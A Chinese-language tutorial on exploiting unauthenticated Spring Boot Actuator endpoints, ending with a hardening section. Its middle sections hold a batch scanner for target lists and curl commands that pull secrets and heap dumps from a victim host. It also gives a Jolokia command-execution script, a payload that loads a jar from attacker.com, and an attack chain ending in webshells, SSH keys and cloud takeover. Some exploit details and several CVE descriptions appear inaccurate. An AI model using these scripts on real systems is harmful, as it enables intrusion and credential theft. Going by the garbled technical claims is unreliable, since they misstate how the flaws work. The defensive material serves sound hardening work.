Spring Boot Actuator 未授权访问
1. Actuator 端点一览
| 端点 | 作用 | 敏感等级 |
| /actuator/env | 暴露所有环境变量含 DB 密码、AK/SK | 严重 |
| /actuator/configprops | 配置属性,同样可能含密钥 | 严重 |
| /actuator/heapdump | JVM 堆快照,包含内存中所有对象 | 严重 |
| /actuator/jolokia | MBean 代理,可反射调用任意方法 | 严重 |
| /actuator/mappings | 全部 URL 路由 | 中 |
| /actuator/health | 健康状态 | 低 |
Spring Boot 1.x 默认暴露在根路径(/env、/heapdump),2.x 迁移到 /actuator/ 前缀。
2. 未授权访问根因
Actuator 安全依赖 Spring Security 配置。若项目未引入 spring-security 或配置有误,所有端点默认对外。
危险配置:
management:
endpoints:
web:
exposure:
include: '*'
base-path: /actuator
3. 识别与批量扫描
import requests, urllib3
urllib3.disable_warnings()
ENDPOINTS = [
"/actuator/env", "/actuator/configprops", "/actuator/heapdump",
"/actuator/jolokia", "/actuator/mappings", "/actuator/beans",
"/actuator/threaddump", "/actuator/loggers",
]
def scan(base_url):
found = []
for path in ENDPOINTS:
try:
r = requests.get(base_url.rstrip("/") + path, timeout=5, verify=False,
headers={"User-Agent": "Mozilla/5.0"})
if r.status_code == 200 and len(r.text) > 10:
print(f" [+] {path} -> {len(r.text)} bytes")
found.append(path)
except Exception:
pass
return found
if __name__ == "__main__":
with open("targets.txt") as f:
for url in f:
scan(url.strip())
4. 端点利用详解
4.1 /actuator/env 密钥泄露
重点关注字段:password、secret、key、token、credential、accessKey、AK、SK。
curl -s http://victim.example.com/actuator/env | jq '.propertySources[] | .properties | keys'
# Spring Boot 1.x 可通过 POST 触发额外泄露
curl -X POST 'http://victim.example.com/env' -d 'spring.datasource.password=password'
4.2 /actuator/heapdump 内存 dump
curl -o heapdump.hprof 'http://victim.example.com/actuator/heapdump'
# 用 MAT / jhat 离线分析
jhat -port 9999 heapdump.hprof
# 浏览器打开 http://127.0.0.1:9999/oql/
4.3 /actuator/jolokia RCE(最致命)
jolokia 暴露 JMX MBean 远程调用能力:
import requests, json, urllib3
urllib3.disable_warnings()
def jolokia_rce(base_url, cmd):
url = base_url.rstrip("/") + "/actuator/jolokia/exec"
payload = {
"mbean": "java.lang.management:type=Runtime",
"operation": "exec",
"type": "EXEC",
"arguments": ["/bin/sh", "-c", cmd]
}
r = requests.post(url, data=json.dumps(payload), verify=False, timeout=10)
print(r.text)
jolokia_rce("http://victim.example.com", "id")
也可直接动态加载 jar:
{
"mbean": "org.springframework.boot:name=SpringApplication",
"operation": "reloadByURL",
"type": "EXEC",
"arguments": ["http://attacker.com/evil.jar"]
}
4.4 /actuator/shutdown
部分 Spring Boot 1.x 版本开启 management.security.enabled=false 后可直接 POST /shutdown 关闭服务。
5. 完整攻击链
[1] 扫描 /actuator 端点
→ [2] /actuator/env 拿到 DB 连接串
→ [3] MySQL root → SELECT INTO OUTFILE 写 webshell
→ [3] Redis → SSH key 写入 authorized_keys
→ [2] heapdump → MAT 提取 AK/SK → 接管云主机
→ [2] jolokia → 直接 RCE
6. 修复与加固
6.1 Spring Boot 2.x 标准配置
management:
endpoints:
web:
exposure:
include: health,info
base-path: /internal
cors:
allowed-origins: ""
endpoint:
health:
show-details: never
env:
show-values: never
configprops:
show-values: never
server:
port: 8081
address: 127.0.0.1
spring:
security:
user:
name: admin
password: ${ACTUATOR_PASSWORD:change-me}
6.2 Spring Security 过滤链
@Configuration
@EnableWebSecurity
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.antMatcher("/actuator/**")
.authorizeRequests()
.antMatchers("/actuator/health", "/actuator/info").permitAll()
.anyRequest().hasRole("ACTUATOR_ADMIN")
.and().httpBasic();
}
}
6.3 Nginx 层保护
location ~ ^/actuator/(env|heapdump|jolokia|configprops|beans|mappings|shutdown)$ {
allow 10.0.0.0/8;
allow 172.16.0.0/12;
deny all;
}
auth_basic "Internal Actuator";
auth_basic_user_file /etc/nginx/.htpasswd;
6.4 运维
iptables -A INPUT -p tcp --dport 8081 -s 127.0.0.1 -j ACCEPT绑定本机;- CI 中加入 Actuator 端点检查;
- 对 env/heapdump/jolokia 建立实时告警。
7. 关联 CVE
- CVE-2020-5421:Spring Boot 1.5 Actuator env 泄露;
- CVE-2021-21234:loggers 配置文件路径穿越;
- CVE-2022-22965:Spring4Shell + Actuator 联动;
- CVE-2023-20860:Spring Boot Actuator SpEL 注入。
最有效的加固是"默认关闭全部端点 + 内网隔离"。